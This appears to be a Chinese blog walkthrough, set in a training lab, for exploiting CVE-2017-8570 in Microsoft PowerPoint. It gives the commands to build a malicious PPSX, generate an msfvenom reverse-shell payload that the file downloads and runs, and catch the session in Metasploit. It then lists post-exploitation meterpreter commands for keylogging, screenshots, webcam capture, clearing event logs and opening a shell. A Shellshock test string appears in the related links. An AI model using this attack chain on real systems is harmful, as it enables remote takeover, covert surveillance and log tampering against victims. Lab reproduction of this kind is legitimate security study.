CVE-2017-8570漏洞是一个逻辑漏洞,利用方法简单,影响范围广。由于该漏洞和三年前的SandWorm(沙虫)漏洞非常类似,因此我们称之为“沙虫”二代漏洞。

编号

CVE-2017-8570

影响版本

Microsoft Office 2007 Service Pack 3
Microsoft Office 2010 Service Pack 2 (32-bit editions)
Microsoft Office 2010 Service Pack 2 (64-bit editions)
Microsoft Office 2013 RT Service Pack 1
Microsoft Office 2013 Service Pack 1 (32-bit editions)
Microsoft Office 2013 Service Pack 1 (64-bit editions)
Microsoft Office 2016 (32-bit edition)
Microsoft Office 2016 (64-bit edition)

危害

2017年7月,微软在例行的月度补丁中修复了多个Microsoft Office漏洞,其中的CVE-2017-8570漏洞为一个逻辑漏洞,利用方法简单。网上已经出现该漏洞的利用代码,影响范围较广。

该漏洞为Microsoft Office的一个远程代码执行漏洞。其成因是Microsoft PowerPoint执行时会初始化Script”Moniker对象,而在PowerPoint播放动画期间会激活该对象,从而执行sct脚本(Windows Script Component)文件。攻击者可以欺骗用户运行含有该漏洞的PPT文件,导致获取和当前登录用户相同的代码执行权限。

复现漏洞

这个漏洞并没有进行搭建环境,是因为有更好的选择,发现ichunqiu里面有靶机,可以进行练习。靶机链接(https://www.ichunqiu.com/vm/58919/1)

实验环境

  • 操作机:windows7 x64

  • IP:172.16.11.2

  • 目标机:Kali Linux

  • IP:172.16.12.2

实验步骤

步骤1:生成恶意的PPSX文件

我们首先使用Xshell连接Kali机器,点击桌面Xshell图标,输入IP:172.16.12.2,账号为:root 密码:123456 ,如图:

首先我们在Kali中执行如下命令:

cd  CVE-2017-8570       //进入exploit的目录

python cve-2017-8570_toolkit.py  -M gen -w orange.ppsx -u http://172.16.12.2/logo.doc       //生成ppsx恶意文件

接下来将我们生成恶意PPSX文件通过调用Powershell下载并执行。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.12.2 LPORT=4444 -f exe > /tmp/shell.exe

其中 -p 参数是 payload的意思,是使用windows的meterpreter的反弹文件-f参数 指定输出文件后缀为exe文件再用>重定向输出到tmp目录下

接下来输入如下命令:

python cve-2017-8570_toolkit.py -M exp -e http://172.16.12.2/shell.exe -l /tmp/shell.exe

这段命令是通过脚本在80端口监听,等待接收ppsx请求并下载执行我们的反弹文件

接下来进入Metasploit,新建一个Kali`172.16.12.2的连接,设置相关参数,接受返回的Shell

msfconsole
use multi/handler //使用监听模块
set payload windows/meterpreter/reverse_tcp //设置Payload
set LHOST 172.16.12.2 //设置本地接收IP
run

可以看到我们的Metaspliot已经在本地开启监听

到此我们的所有准备都做好,下一步我们模拟用户点击恶意文件

步骤2:目标机器执行恶意PPSX文件

我们使用桌面Xftp软件,连接上目标机172.16.12.2,将Invoice.ppsx文件拖到当前桌面上。

如图,他是一个PPT文件,我们模拟用户双击打开它。

执行过程中可以看到代码通过调用powershell在远程下载执行我们的恶意文件,此时已经反弹回了shell

使用命令:

getuid     //获取当前用户ID

这样就获取了目标机器的权限,可以通过Metasploit去执行命令。

至此这个漏洞复现完毕。

后续渗透

截图

meterpreter > screenshot
Screenshot saved to: /home/ctf/ccoDxgvg.jpeg

键盘记录

meterpreter > keyscan_start          # 开启键盘记录
Starting the keystroke sniffer... meterpreter > keyscan_dump #查看键盘记录内容
Dumping captured keystrokes... **
-[ C:\soft\SogouExplorer\SogouExplorer.exe
-[ @ 2017年8月13日 4:07:31 UTC
**
<Shift>xiaojiejie <Shift>chain<^H><^H><^H>inajoy<CR> meterpreter > keyscan_stop #关闭键盘记录

请除日志

`meterpreter > clearev``

关机

meterpreter > shutdown

截屏

meterpreter >screenshot

摄像头列表

meterpreter > webcam_list

打开摄像头

meterpreter > webcam_snap

禁止目标使用鼠标

meterpreter > uictl disable mouse

启用目标使用键盘

meterpreter > uictl enable keyboard

上传文件

meterpreter >  upload /home/ctf/Desktop/快别看小姐姐了你被黑啦.txt C:\\users\\gg\\Desktop

把我们的友情提示上传到win7系统主人的 电脑桌面上

ctf@guoguang:~/Desktop$ cat 快别看小姐姐了你被黑啦.txt
整天不是逛B站 就是 逛A站
除了看小姐姐 还是看小姐姐!~~
(严肃脸)我只想对你说 4个字:
请带上我
meterpreter > upload /home/ctf/Desktop/快别看小姐姐了你被黑啦.txt C:\\users\\gg\\Desktop
[*] uploading : home/ctf/Desktop/快别看小姐姐了你被黑啦.txt -> C:\users\gg\Desktop
[*] uploaded : home/ctf/Desktop/快别看小姐姐了你被黑啦.txt -> C:\users\gg\Desktop\快别看小姐姐了你被黑啦.txt

shell

meterpreter > shell

shell 顾名思义就是shell了,这个命令相当于完全控制了windows的cmd命令行,可以执行任意cmd操作,当然只要权限足够大的话。

任重而道远!

CVE-2017-8570漏洞利用的更多相关文章

  1. Windows漏洞利用 ms17-010

    漏洞名称 SMB 远程命令执行漏洞(ms17-010) 漏洞描述 继2016年 8 月份黑客组织 Shadow Brokers 放出第一批 NSA “方程式小组”内部黑客工具后,2017 年 4 月 ...

  2. CVE-2014-6271 Bash漏洞利用工具

    CVE-2014-6271 Bash漏洞利用工具 Exploit 1 (CVE-2014-6271) env x='() { :;}; echo vulnerable' bash -c "e ...

  3. 【更新WordPress 4.6漏洞利用PoC】PHPMailer曝远程代码执行高危漏洞(CVE-2016-10033)

    [2017.5.4更新] 昨天曝出了两个比较热门的漏洞,一个是CVE-2016-10033,另一个则为CVE-2017-8295.从描述来看,前者是WordPress Core 4.6一个未经授权的R ...

  4. Struts2漏洞利用工具下载(更新2017-V1.8版增加S2-045/S2-046)

    Struts2漏洞利用工具下载(已更新V1.8版) 2017-03-21:增加S2-046,官方发布S2-046和S2-045漏洞引发原因一样,只是利用漏洞的位置发生了变化,S2-046方式可能绕过部 ...

  5. CVE-2017-12149漏洞利用

    CVE-2017-12149 JBOOS AS 6.X 反序列化漏洞利用 这次分析一下 CVE-2017-12149 ,漏洞已经爆出有几天了,今天就把这个漏洞看一下.                  ...

  6. Apache Tomcat远程命令执行漏洞(CVE-2017-12615) 漏洞利用到入侵检测

    本文作者:i春秋作家——Anythin9 1.漏洞简介 当 Tomcat运行在Windows操作系统时,且启用了HTTP PUT请求方法(例如,将 readonly 初始化参数由默认值设置为 fals ...

  7. AMR无限增发代币至任意以太坊地址的漏洞利用及修复过程

    AMR无限增发代币至任意以太坊地址的漏洞利用及修复过程 0x00 项目简述 Ammbr主要目标是打造具有高度弹性且易于连接的分布式宽带接入平台,同时降低上网相关成本.Ammbr打算创建具有人工智能和智 ...

  8. 工控漏洞利用框架 - ISF(Industrial Security Framework)

    一. 框架介绍 本框架主要使用Python语言开发,通过集成ShadowBroker释放的NSA工具Fuzzbunch攻击框架,开发一款适合工控漏洞利用的框架.由于Fuzzbunch攻击框架仅适用于P ...

  9. Defense:SMB协议漏洞利用与控制CVE-2017-7494("永恒之蓝")攻防实验

    漏洞描述 1. 服务器打开了文件/打印机共享端口445,让其能够在公网上访问 2. 共享文件拥有写入权限 3. 恶意攻击者需猜解Samba服务端共享目录的物理路径 Samba是在Linux和UNIX系 ...

  10. Struts-S2-045漏洞利用

    最近也是在看Struts2的漏洞,这里与大家共同探讨一下,本次我复现的是s2-045这个编号的漏洞 漏洞介绍 Apache Struts 2被曝存在远程命令执行漏洞,漏洞编号S2-045,CVE编号C ...

随机推荐

  1. 用setuptools_scm来自动控制Python包的版本

    手动管理Python包的版本号一段时间后,寻求自动化的手段,是自然而然的. 手动管理版本 手动管理Python包的版本,需要注意两个方面: 每次发布新包前,要更新包的版本号. 在安装后的默认模块下应该 ...

  2. python实现单链表的翻转

    #!/usr/bin/env python #coding = utf-8 class Node:     def __init__(self,data=None,next = None):      ...

  3. sqlyog数据库管理软件下载

    下载安装包 一路next 链接:https://pan.baidu.com/s/1tdIwtYEW11MNWk--Hqd3dw 提取码:0ffp 复制这段内容后打开百度网盘手机App,操作更方便哦 然 ...

  4. linux前后台任务的切换以及执行暂停

    command & 把command命令放到后台执行 ctrl+z 暂停该任务,并且放到后台 jobs 查看任务 bg n 把jobs号码为n的任务放到后台执行 fg n 把jobs号码为n的 ...

  5. MySQL Transaction--两阶段提交事务

    分布式事务两阶段提交 在分布式事务中,需要协调所有分布式原子事务参与者,并决定提交或回滚分布式事务,因此采用两阶段提交协议: 第一阶段为请求阶段或表决阶段,事务协调者通知事务参与者准备提交或取消事务, ...

  6. WikiBooks/Cg Programming

    https://en.wikibooks.org/wiki/Cg_Programming Basics Minimal Shader(about shaders, materials, and gam ...

  7. MySQL插入,更新,删除数据

    插入 单行插入 1.insert into 表名 values(col1_value,col2_value,...); 每个列必须提供一个值,如果没有值,要提供NULL值 每个列必须与它在表中定义的次 ...

  8. spark机器学习

    多层感知器(MLP) from __future__ import print_function from pyspark.ml.classification import MultilayerPer ...

  9. Jenkins进阶-邮件通知(9)

    公司内部每天大概会发布N多版本,也不能派员工一直去盯着版本发布,所以希望发布完成后通知相关人员,Jenkins最早采用通知机制就是短信和邮件,由于短信成本很高,所以我们一般在发布结束后会采用邮件.现在 ...

  10. Jmeter -- 属性和变量

    一.Jmeter中的属性: 1.JMeter属性统一定义在jmeter.properties文件中,我们可以在该文件中添加自定义的属性 2.JMeter属性在测试脚本的任何地方都是可见的(全局),通常 ...